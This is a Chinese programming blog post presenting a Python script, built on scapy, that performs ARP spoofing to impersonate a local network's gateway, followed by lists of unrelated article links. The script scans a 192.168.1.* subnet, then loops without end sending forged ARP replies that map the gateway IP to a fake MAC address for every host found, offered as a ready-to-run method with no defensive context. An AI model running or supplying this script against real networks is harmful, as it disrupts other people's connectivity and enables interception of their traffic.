python使用arp欺骗伪造网关的方法


Posted in Python onApril 24, 2015

本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:

#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
  #伪造来自网关的arp应答
  t=p
  t.hwdst=hw
  t.pdst=ip
  send(t)
def get_host():
  #得到在线主机的mac地址和对应ip地址 
  hw_ip = {}
  sys.stdout = open('host.info','w')
  arping(IPADDR)
  sys.stdout = stdout
  f = open('host.info','r')
  info = f.readlines()
  f.close
  del info[0]
  del info[0]
  for host in info :
    temp = re.split(r'\s+',host)
    hw_ip[temp[1]] = temp[2]
  return hw_ip
if __name__ == "__main__":
  hw_ip = get_host()
  while 1 :
    for i in hw_ip :
      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
python应用程序在windows下不出现cmd窗口的办法
May 29 Python
10种检测Python程序运行时间、CPU和内存占用的方法
Apr 01 Python
Django中实现点击图片链接强制直接下载的方法
May 14 Python
centos6.7安装python2.7.11的具体方法
Jan 16 Python
Python中判断子串存在的性能比较及分析总结
Jun 23 Python
Django中celery执行任务结果的保存方法
Jul 12 Python
keras tensorflow 实现在python下多进程运行
Feb 06 Python
Python双链表原理与实现方法详解
Feb 22 Python
基于tf.shape(tensor)和tensor.shape()的区别说明
Jun 30 Python
python利用蒙版抠图(使用PIL.Image和cv2)输出透明背景图
Aug 04 Python
详解Python中如何将数据存储为json格式的文件
Nov 18 Python
Python爬取网站图片并保存的实现示例
Feb 26 Python
python使用wxPython打开并播放wav文件的方法
Apr 24 #Python
python使用PyGame播放Midi和Mp3文件的方法
Apr 24 #Python
python使用PyGame绘制图像并保存为图片文件的方法
Apr 24 #Python
python使用PIL缩放网络图片并保存的方法
Apr 24 #Python
python使用Tkinter显示网络图片的方法
Apr 24 #Python
Python中最常用的操作列表的几种方法归纳
Apr 24 #Python
在Python中使用lambda高效操作列表的教程
Apr 24 #Python
You might like
php 模拟post_验证页面的返回状态(实例讲解)
2013/10/28 PHP
PHP cURL初始化和执行方法入门级代码
2015/05/28 PHP
php封装db类连接sqlite3数据库的方法实例
2017/12/19 PHP
不常用但很实用的PHP预定义变量分析
2019/06/25 PHP
Thinkphp自定义生成缩略图尺寸的方法
2019/08/05 PHP
Laravel 读取 config 下的数据方法
2019/10/13 PHP
javascript中负数算术右移、逻辑右移的奥秘探索
2013/10/17 Javascript
使用jQuery异步加载 JavaScript脚本解决方案
2014/04/20 Javascript
javascript设计模式之中介者模式Mediator
2014/12/30 Javascript
js操作数组函数实例小结
2015/12/10 Javascript
浅析AngularJS Filter用法
2015/12/28 Javascript
分享几种比较简单实用的JavaScript tabel切换
2015/12/31 Javascript
jQuery dataTables与jQuery UI 对话框dialog的使用教程
2016/09/02 Javascript
JavaScript队列的应用实例详解【经典数据结构】
2017/04/12 Javascript
JS实现二叉查找树的建立以及一些遍历方法实现
2017/04/17 Javascript
jQuery 表单序列化实例代码
2017/06/11 jQuery
解决jquery appaend元素中id绑定事件失效的问题
2017/09/12 jQuery
微信小程序实现页面分享onShareAppMessage
2019/08/12 Javascript
vue实现虚拟列表功能的代码
2020/07/28 Javascript
Vue Render函数原理及代码实例解析
2020/07/30 Javascript
微信小程序实现转盘抽奖
2020/09/21 Javascript
JavaScript中条件语句的优化技巧总结
2020/12/04 Javascript
Python中subprocess的简单使用示例
2015/07/28 Python
在阿里云服务器上配置CentOS+Nginx+Python+Flask环境
2016/06/18 Python
Python读取Json字典写入Excel表格的方法
2018/01/03 Python
python实现外卖信息管理系统
2018/01/11 Python
TensorFlow打印tensor值的实现方法
2018/07/27 Python
Python XML转Json之XML2Dict的使用方法
2019/01/15 Python
利用CSS3实现平移动画效果示例代码
2016/10/12 HTML / CSS
手工制作的豪华英式沙发和沙发床:Willow & Hall
2019/05/03 全球购物
什么是GWT的Entry Point
2013/08/16 面试题
艺术专业大学生自我评价
2013/09/22 职场文书
大专毕业生求职信
2014/07/05 职场文书
小学校长汇报材料
2014/08/20 职场文书
2014年大学生预备党员思想汇报1000字
2014/09/13 职场文书
家装业务员岗位职责
2015/04/03 职场文书